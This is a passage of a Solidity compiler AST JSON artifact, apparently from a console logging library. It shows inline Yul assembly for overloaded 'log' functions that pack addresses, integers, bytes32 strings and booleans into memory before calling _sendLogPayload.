eSrc":"130135:4:22","nodeType":"YulLiteral","src":"130135:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"130141:2:22","nodeType":"YulIdentifier","src":"130141:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130128:6:22","nodeType":"YulIdentifier","src":"130128:6:22"},"nativeSrc":"130128:16:22","nodeType":"YulFunctionCall","src":"130128:16:22"},"nativeSrc":"130128:16:22","nodeType":"YulExpressionStatement","src":"130128:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130164:4:22","nodeType":"YulLiteral","src":"130164:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"130170:2:22","nodeType":"YulIdentifier","src":"130170:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130157:6:22","nodeType":"YulIdentifier","src":"130157:6:22"},"nativeSrc":"130157:16:22","nodeType":"YulFunctionCall","src":"130157:16:22"},"nativeSrc":"130157:16:22","nodeType":"YulExpressionStatement","src":"130157:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130193:4:22","nodeType":"YulLiteral","src":"130193:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"130199:4:22","nodeType":"YulLiteral","src":"130199:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"130186:6:22","nodeType":"YulIdentifier","src":"130186:6:22"},"nativeSrc":"130186:18:22","nodeType":"YulFunctionCall","src":"130186:18:22"},"nativeSrc":"130186:18:22","nodeType":"YulExpressionStatement","src":"130186:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130224:4:22","nodeType":"YulLiteral","src":"130224:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"130230:2:22","nodeType":"YulIdentifier","src":"130230:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130217:6:22","nodeType":"YulIdentifier","src":"130217:6:22"},"nativeSrc":"130217:16:22","nodeType":"YulFunctionCall","src":"130217:16:22"},"nativeSrc":"130217:16:22","nodeType":"YulExpressionStatement","src":"130217:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130258:4:22","nodeType":"YulLiteral","src":"130258:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"130264:2:22","nodeType":"YulIdentifier","src":"130264:2:22"}],"functionName":{"name":"writeString","nativeSrc":"130246:11:22","nodeType":"YulIdentifier","src":"130246:11:22"},"nativeSrc":"130246:21:22","nodeType":"YulFunctionCall","src":"130246:21:22"},"nativeSrc":"130246:21:22","nodeType":"YulExpressionStatement","src":"130246:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38008,"isOffset":false,"isSlot":false,"src":"129818:2:22","valueSize":1},{"declaration":38011,"isOffset":false,"isSlot":false,"src":"129848:2:22","valueSize":1},{"declaration":38014,"isOffset":false,"isSlot":false,"src":"129878:2:22","valueSize":1},{"declaration":38017,"isOffset":false,"isSlot":false,"src":"129908:2:22","valueSize":1},{"declaration":38020,"isOffset":false,"isSlot":false,"src":"129938:2:22","valueSize":1},{"declaration":38023,"isOffset":false,"isSlot":false,"src":"129968:2:22","valueSize":1},{"declaration":38026,"isOffset":false,"isSlot":false,"src":"129998:2:22","valueSize":1},{"declaration":37998,"isOffset":false,"isSlot":false,"src":"130141:2:22","valueSize":1},{"declaration":38000,"isOffset":false,"isSlot":false,"src":"130170:2:22","valueSize":1},{"declaration":38002,"isOffset":false,"isSlot":false,"src":"130264:2:22","valueSize":1},{"declaration":38004,"isOffset":false,"isSlot":false,"src":"130230:2:22","valueSize":1}],"id":38028,"nodeType":"InlineAssembly","src":"129440:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38030,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"130302:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38031,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"130308:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38029,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"130286:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38032,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"130286:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38033,"nodeType":"ExpressionStatement","src":"130286:27:22"},{"AST":{"nativeSrc":"130332:214:22","nodeType":"YulBlock","src":"130332:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"130353:4:22","nodeType":"YulLiteral","src":"130353:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"130359:2:22","nodeType":"YulIdentifier","src":"130359:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130346:6:22","nodeType":"YulIdentifier","src":"130346:6:22"},"nativeSrc":"130346:16:22","nodeType":"YulFunctionCall","src":"130346:16:22"},"nativeSrc":"130346:16:22","nodeType":"YulExpressionStatement","src":"130346:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130382:4:22","nodeType":"YulLiteral","src":"130382:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"130388:2:22","nodeType":"YulIdentifier","src":"130388:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130375:6:22","nodeType":"YulIdentifier","src":"130375:6:22"},"nativeSrc":"130375:16:22","nodeType":"YulFunctionCall","src":"130375:16:22"},"nativeSrc":"130375:16:22","nodeType":"YulExpressionStatement","src":"130375:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130411:4:22","nodeType":"YulLiteral","src":"130411:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"130417:2:22","nodeType":"YulIdentifier","src":"130417:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130404:6:22","nodeType":"YulIdentifier","src":"130404:6:22"},"nativeSrc":"130404:16:22","nodeType":"YulFunctionCall","src":"130404:16:22"},"nativeSrc":"130404:16:22","nodeType":"YulExpressionStatement","src":"130404:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130440:4:22","nodeType":"YulLiteral","src":"130440:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"130446:2:22","nodeType":"YulIdentifier","src":"130446:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130433:6:22","nodeType":"YulIdentifier","src":"130433:6:22"},"nativeSrc":"130433:16:22","nodeType":"YulFunctionCall","src":"130433:16:22"},"nativeSrc":"130433:16:22","nodeType":"YulExpressionStatement","src":"130433:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130469:4:22","nodeType":"YulLiteral","src":"130469:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"130475:2:22","nodeType":"YulIdentifier","src":"130475:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130462:6:22","nodeType":"YulIdentifier","src":"130462:6:22"},"nativeSrc":"130462:16:22","nodeType":"YulFunctionCall","src":"130462:16:22"},"nativeSrc":"130462:16:22","nodeType":"YulExpressionStatement","src":"130462:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130498:4:22","nodeType":"YulLiteral","src":"130498:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"130504:2:22","nodeType":"YulIdentifier","src":"130504:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130491:6:22","nodeType":"YulIdentifier","src":"130491:6:22"},"nativeSrc":"130491:16:22","nodeType":"YulFunctionCall","src":"130491:16:22"},"nativeSrc":"130491:16:22","nodeType":"YulExpressionStatement","src":"130491:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"130527:4:22","nodeType":"YulLiteral","src":"130527:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"130533:2:22","nodeType":"YulIdentifier","src":"130533:2:22"}],"functionName":{"name":"mstore","nativeSrc":"130520:6:22","nodeType":"YulIdentifier","src":"130520:6:22"},"nativeSrc":"130520:16:22","nodeType":"YulFunctionCall","src":"130520:16:22"},"nativeSrc":"130520:16:22","nodeType":"YulExpressionStatement","src":"130520:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38008,"isOffset":false,"isSlot":false,"src":"130359:2:22","valueSize":1},{"declaration":38011,"isOffset":false,"isSlot":false,"src":"130388:2:22","valueSize":1},{"declaration":38014,"isOffset":false,"isSlot":false,"src":"130417:2:22","valueSize":1},{"declaration":38017,"isOffset":false,"isSlot":false,"src":"130446:2:22","valueSize":1},{"declaration":38020,"isOffset":false,"isSlot":false,"src":"130475:2:22","valueSize":1},{"declaration":38023,"isOffset":false,"isSlot":false,"src":"130504:2:22","valueSize":1},{"declaration":38026,"isOffset":false,"isSlot":false,"src":"130533:2:22","valueSize":1}],"id":38034,"nodeType":"InlineAssembly","src":"130323:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"129227:3:22","parameters":{"id":38005,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37998,"mutability":"mutable","name":"p0","nameLocation":"129239:2:22","nodeType":"VariableDeclaration","scope":38036,"src":"129231:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37997,"name":"address","nodeType":"ElementaryTypeName","src":"129231:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38000,"mutability":"mutable","name":"p1","nameLocation":"129251:2:22","nodeType":"VariableDeclaration","scope":38036,"src":"129243:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37999,"name":"uint256","nodeType":"ElementaryTypeName","src":"129243:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":38002,"mutability":"mutable","name":"p2","nameLocation":"129263:2:22","nodeType":"VariableDeclaration","scope":38036,"src":"129255:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38001,"name":"bytes32","nodeType":"ElementaryTypeName","src":"129255:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38004,"mutability":"mutable","name":"p3","nameLocation":"129272:2:22","nodeType":"VariableDeclaration","scope":38036,"src":"129267:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38003,"name":"bool","nodeType":"ElementaryTypeName","src":"129267:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"129230:45:22"},"returnParameters":{"id":38006,"nodeType":"ParameterList","parameters":[],"src":"129290:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38076,"nodeType":"FunctionDefinition","src":"130558:1340:22","nodes":[],"body":{"id":38075,"nodeType":"Block","src":"130633:1265:22","nodes":[],"statements":[{"assignments":[38048],"declarations":[{"constant":false,"id":38048,"mutability":"mutable","name":"m0","nameLocation":"130651:2:22","nodeType":"VariableDeclaration","scope":38075,"src":"130643:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38047,"name":"bytes32","nodeType":"ElementaryTypeName","src":"130643:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38049,"nodeType":"VariableDeclarationStatement","src":"130643:10:22"},{"assignments":[38051],"declarations":[{"constant":false,"id":38051,"mutability":"mutable","name":"m1","nameLocation":"130671:2:22","nodeType":"VariableDeclaration","scope":38075,"src":"130663:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38050,"name":"bytes32","nodeType":"ElementaryTypeName","src":"130663:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38052,"nodeType":"VariableDeclarationStatement","src":"130663:10:22"},{"assignments":[38054],"declarations":[{"constant":false,"id":38054,"mutability":"mutable","name":"m2","nameLocation":"130691:2:22","nodeType":"VariableDeclaration","scope":38075,"src":"130683:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38053,"name":"bytes32","nodeType":"ElementaryTypeName","src":"130683:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38055,"nodeType":"VariableDeclarationStatement","src":"130683:10:22"},{"assignments":[38057],"declarations":[{"constant":false,"id":38057,"mutability":"mutable","name":"m3","nameLocation":"130711:2:22","nodeType":"VariableDeclaration","scope":38075,"src":"130703:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38056,"name":"bytes32","nodeType":"ElementaryTypeName","src":"130703:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38058,"nodeType":"VariableDeclarationStatement","src":"130703:10:22"},{"assignments":[38060],"declarations":[{"constant":false,"id":38060,"mutability":"mutable","name":"m4","nameLocation":"130731:2:22","nodeType":"VariableDeclaration","scope":38075,"src":"130723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38059,"name":"bytes32","nodeType":"ElementaryTypeName","src":"130723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38061,"nodeType":"VariableDeclarationStatement","src":"130723:10:22"},{"assignments":[38063],"declarations":[{"constant":false,"id":38063,"mutability":"mutable","name":"m5","nameLocation":"130751:2:22","nodeType":"VariableDeclaration","scope":38075,"src":"130743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38062,"name":"bytes32","nodeType":"ElementaryTypeName","src":"130743:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38064,"nodeType":"VariableDeclarationStatement","src":"130743:10:22"},{"assignments":[38066],"declarations":[{"constant":false,"id":38066,"mutability":"mutable","name":"m6","nameLocation":"130771:2:22","nodeType":"VariableDeclaration","scope":38075,"src":"130763:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38065,"name":"bytes32","nodeType":"ElementaryTypeName","src":"130763:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38067,"nodeType":"VariableDeclarationStatement","src":"130763:10:22"},{"AST":{"nativeSrc":"130792:831:22","nodeType":"YulBlock","src":"130792:831:22","statements":[{"body":{"nativeSrc":"130835:313:22","nodeType":"YulBlock","src":"130835:313:22","statements":[{"nativeSrc":"130853:15:22","nodeType":"YulVariableDeclaration","src":"130853:15:22","value":{"kind":"number","nativeSrc":"130867:1:22","nodeType":"YulLiteral","src":"130867:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"130857:6:22","nodeType":"YulTypedName","src":"130857:6:22","type":""}]},{"body":{"nativeSrc":"130938:40:22","nodeType":"YulBlock","src":"130938:40:22","statements":[{"body":{"nativeSrc":"130967:9:22","nodeType":"YulBlock","src":"130967:9:22","statements":[{"nativeSrc":"130969:5:22","nodeType":"YulBreak","src":"130969:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"130955:6:22","nodeType":"YulIdentifier","src":"130955:6:22"},{"name":"w","nativeSrc":"130963:1:22","nodeType":"YulIdentifier","src":"130963:1:22"}],"functionName":{"name":"byte","nativeSrc":"130950:4:22","nodeType":"YulIdentifier","src":"130950:4:22"},"nativeSrc":"130950:15:22","nodeType":"YulFunctionCall","src":"130950:15:22"}],"functionName":{"name":"iszero","nativeSrc":"130943:6:22","nodeType":"YulIdentifier","src":"130943:6:22"},"nativeSrc":"130943:23:22","nodeType":"YulFunctionCall","src":"130943:23:22"},"nativeSrc":"130940:36:22","nodeType":"YulIf","src":"130940:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"130895:6:22","nodeType":"YulIdentifier","src":"130895:6:22"},{"kind":"number","nativeSrc":"130903:4:22","nodeType":"YulLiteral","src":"130903:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"130892:2:22","nodeType":"YulIdentifier","src":"130892:2:22"},"nativeSrc":"130892:16:22","nodeType":"YulFunctionCall","src":"130892:16:22"},"nativeSrc":"130885:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"130909:28:22","nodeType":"YulBlock","src":"130909:28:22","statements":[{"nativeSrc":"130911:24:22","nodeType":"YulAssignment","src":"130911:24:22","value":{"arguments":[{"name":"length","nativeSrc":"130925:6:22","nodeType":"YulIdentifier","src":"130925:6:22"},{"kind":"number","nativeSrc":"130933:1:22","nodeType":"YulLiteral","src":"130933:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"130921:3:22","nodeType":"YulIdentifier","src":"130921:3:22"},"nativeSrc":"130921:14:22","nodeType":"YulFunctionCall","src":"130921:14:22"},"variableNames":[{"name":"length","nativeSrc":"130911:6:22","nodeType":"YulIdentifier","src":"130911:6:22"}]}]},"pre":{"nativeSrc":"130889:2:22","nodeType":"YulBlock","src":"130889:2:22","statements":[]},"src":"130885:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"131002:3:22","nodeType":"YulIdentifier","src":"131002:3:22"},{"name":"length","nativeSrc":"131007:6:22","nodeType":"YulIdentifier","src":"131007:6:22"}],"functionName":{"name":"mstore","nativeSrc":"130995:6:22","nodeType":"YulIdentifier","src":"130995:6:22"},"nativeSrc":"130995:19:22","nodeType":"YulFunctionCall","src":"130995:19:22"},"nativeSrc":"130995:19:22","nodeType":"YulExpressionStatement","src":"130995:19:22"},{"nativeSrc":"131031:37:22","nodeType":"YulVariableDeclaration","src":"131031:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"131048:3:22","nodeType":"YulLiteral","src":"131048:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"131057:1:22","nodeType":"YulLiteral","src":"131057:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"131060:6:22","nodeType":"YulIdentifier","src":"131060:6:22"}],"functionName":{"name":"shl","nativeSrc":"131053:3:22","nodeType":"YulIdentifier","src":"131053:3:22"},"nativeSrc":"131053:14:22","nodeType":"YulFunctionCall","src":"131053:14:22"}],"functionName":{"name":"sub","nativeSrc":"131044:3:22","nodeType":"YulIdentifier","src":"131044:3:22"},"nativeSrc":"131044:24:22","nodeType":"YulFunctionCall","src":"131044:24:22"},"variables":[{"name":"shift","nativeSrc":"131035:5:22","nodeType":"YulTypedName","src":"131035:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"131096:3:22","nodeType":"YulIdentifier","src":"131096:3:22"},{"kind":"number","nativeSrc":"131101:4:22","nodeType":"YulLiteral","src":"131101:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"131092:3:22","nodeType":"YulIdentifier","src":"131092:3:22"},"nativeSrc":"131092:14:22","nodeType":"YulFunctionCall","src":"131092:14:22"},{"arguments":[{"name":"shift","nativeSrc":"131112:5:22","nodeType":"YulIdentifier","src":"131112:5:22"},{"arguments":[{"name":"shift","nativeSrc":"131123:5:22","nodeType":"YulIdentifier","src":"131123:5:22"},{"name":"w","nativeSrc":"131130:1:22","nodeType":"YulIdentifier","src":"131130:1:22"}],"functionName":{"name":"shr","nativeSrc":"131119:3:22","nodeType":"YulIdentifier","src":"131119:3:22"},"nativeSrc":"131119:13:22","nodeType":"YulFunctionCall","src":"131119:13:22"}],"functionName":{"name":"shl","nativeSrc":"131108:3:22","nodeType":"YulIdentifier","src":"131108:3:22"},"nativeSrc":"131108:25:22","nodeType":"YulFunctionCall","src":"131108:25:22"}],"functionName":{"name":"mstore","nativeSrc":"131085:6:22","nodeType":"YulIdentifier","src":"131085:6:22"},"nativeSrc":"131085:49:22","nodeType":"YulFunctionCall","src":"131085:49:22"},"nativeSrc":"131085:49:22","nodeType":"YulExpressionStatement","src":"131085:49:22"}]},"name":"writeString","nativeSrc":"130806:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"130827:3:22","nodeType":"YulTypedName","src":"130827:3:22","type":""},{"name":"w","nativeSrc":"130832:1:22","nodeType":"YulTypedName","src":"130832:1:22","type":""}],"src":"130806:342:22"},{"nativeSrc":"131161:17:22","nodeType":"YulAssignment","src":"131161:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"131173:4:22","nodeType":"YulLiteral","src":"131173:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"131167:5:22","nodeType":"YulIdentifier","src":"131167:5:22"},"nativeSrc":"131167:11:22","nodeType":"YulFunctionCall","src":"131167:11:22"},"variableNames":[{"name":"m0","nativeSrc":"131161:2:22","nodeType":"YulIdentifier","src":"131161:2:22"}]},{"nativeSrc":"131191:17:22","nodeType":"YulAssignment","src":"131191:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"131203:4:22","nodeType":"YulLiteral","src":"131203:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"131197:5:22","nodeType":"YulIdentifier","src":"131197:5:22"},"nativeSrc":"131197:11:22","nodeType":"YulFunctionCall","src":"131197:11:22"},"variableNames":[{"name":"m1","nativeSrc":"131191:2:22","nodeType":"YulIdentifier","src":"131191:2:22"}]},{"nativeSrc":"131221:17:22","nodeType":"YulAssignment","src":"131221:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"131233:4:22","nodeType":"YulLiteral","src":"131233:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"131227:5:22","nodeType":"YulIdentifier","src":"131227:5:22"},"nativeSrc":"131227:11:22","nodeType":"YulFunctionCall","src":"131227:11:22"},"variableNames":[{"name":"m2","nativeSrc":"131221:2:22","nodeType":"YulIdentifier","src":"131221:2:22"}]},{"nativeSrc":"131251:17:22","nodeType":"YulAssignment","src":"131251:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"131263:4:22","nodeType":"YulLiteral","src":"131263:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"131257:5:22","nodeType":"YulIdentifier","src":"131257:5:22"},"nativeSrc":"131257:11:22","nodeType":"YulFunctionCall","src":"131257:11:22"},"variableNames":[{"name":"m3","nativeSrc":"131251:2:22","nodeType":"YulIdentifier","src":"131251:2:22"}]},{"nativeSrc":"131281:17:22","nodeType":"YulAssignment","src":"131281:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"131293:4:22","nodeType":"YulLiteral","src":"131293:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"131287:5:22","nodeType":"YulIdentifier","src":"131287:5:22"},"nativeSrc":"131287:11:22","nodeType":"YulFunctionCall","src":"131287:11:22"},"variableNames":[{"name":"m4","nativeSrc":"131281:2:22","nodeType":"YulIdentifier","src":"131281:2:22"}]},{"nativeSrc":"131311:17:22","nodeType":"YulAssignment","src":"131311:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"131323:4:22","nodeType":"YulLiteral","src":"131323:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"131317:5:22","nodeType":"YulIdentifier","src":"131317:5:22"},"nativeSrc":"131317:11:22","nodeType":"YulFunctionCall","src":"131317:11:22"},"variableNames":[{"name":"m5","nativeSrc":"131311:2:22","nodeType":"YulIdentifier","src":"131311:2:22"}]},{"nativeSrc":"131341:17:22","nodeType":"YulAssignment","src":"131341:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"131353:4:22","nodeType":"YulLiteral","src":"131353:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"131347:5:22","nodeType":"YulIdentifier","src":"131347:5:22"},"nativeSrc":"131347:11:22","nodeType":"YulFunctionCall","src":"131347:11:22"},"variableNames":[{"name":"m6","nativeSrc":"131341:2:22","nodeType":"YulIdentifier","src":"131341:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131444:4:22","nodeType":"YulLiteral","src":"131444:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"131450:10:22","nodeType":"YulLiteral","src":"131450:10:22","type":"","value":"0xbf01f891"}],"functionName":{"name":"mstore","nativeSrc":"131437:6:22","nodeType":"YulIdentifier","src":"131437:6:22"},"nativeSrc":"131437:24:22","nodeType":"YulFunctionCall","src":"131437:24:22"},"nativeSrc":"131437:24:22","nodeType":"YulExpressionStatement","src":"131437:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131481:4:22","nodeType":"YulLiteral","src":"131481:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"131487:2:22","nodeType":"YulIdentifier","src":"131487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131474:6:22","nodeType":"YulIdentifier","src":"131474:6:22"},"nativeSrc":"131474:16:22","nodeType":"YulFunctionCall","src":"131474:16:22"},"nativeSrc":"131474:16:22","nodeType":"YulExpressionStatement","src":"131474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131510:4:22","nodeType":"YulLiteral","src":"131510:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"131516:2:22","nodeType":"YulIdentifier","src":"131516:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131503:6:22","nodeType":"YulIdentifier","src":"131503:6:22"},"nativeSrc":"131503:16:22","nodeType":"YulFunctionCall","src":"131503:16:22"},"nativeSrc":"131503:16:22","nodeType":"YulExpressionStatement","src":"131503:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131539:4:22","nodeType":"YulLiteral","src":"131539:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"131545:4:22","nodeType":"YulLiteral","src":"131545:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"131532:6:22","nodeType":"YulIdentifier","src":"131532:6:22"},"nativeSrc":"131532:18:22","nodeType":"YulFunctionCall","src":"131532:18:22"},"nativeSrc":"131532:18:22","nodeType":"YulExpressionStatement","src":"131532:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131570:4:22","nodeType":"YulLiteral","src":"131570:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"131576:2:22","nodeType":"YulIdentifier","src":"131576:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131563:6:22","nodeType":"YulIdentifier","src":"131563:6:22"},"nativeSrc":"131563:16:22","nodeType":"YulFunctionCall","src":"131563:16:22"},"nativeSrc":"131563:16:22","nodeType":"YulExpressionStatement","src":"131563:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131604:4:22","nodeType":"YulLiteral","src":"131604:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"131610:2:22","nodeType":"YulIdentifier","src":"131610:2:22"}],"functionName":{"name":"writeString","nativeSrc":"131592:11:22","nodeType":"YulIdentifier","src":"131592:11:22"},"nativeSrc":"131592:21:22","nodeType":"YulFunctionCall","src":"131592:21:22"},"nativeSrc":"131592:21:22","nodeType":"YulExpressionStatement","src":"131592:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38048,"isOffset":false,"isSlot":false,"src":"131161:2:22","valueSize":1},{"declaration":38051,"isOffset":false,"isSlot":false,"src":"131191:2:22","valueSize":1},{"declaration":38054,"isOffset":false,"isSlot":false,"src":"131221:2:22","valueSize":1},{"declaration":38057,"isOffset":false,"isSlot":false,"src":"131251:2:22","valueSize":1},{"declaration":38060,"isOffset":false,"isSlot":false,"src":"131281:2:22","valueSize":1},{"declaration":38063,"isOffset":false,"isSlot":false,"src":"131311:2:22","valueSize":1},{"declaration":38066,"isOffset":false,"isSlot":false,"src":"131341:2:22","valueSize":1},{"declaration":38038,"isOffset":false,"isSlot":false,"src":"131487:2:22","valueSize":1},{"declaration":38040,"isOffset":false,"isSlot":false,"src":"131516:2:22","valueSize":1},{"declaration":38042,"isOffset":false,"isSlot":false,"src":"131610:2:22","valueSize":1},{"declaration":38044,"isOffset":false,"isSlot":false,"src":"131576:2:22","valueSize":1}],"id":38068,"nodeType":"InlineAssembly","src":"130783:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38070,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"131648:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38071,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"131654:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 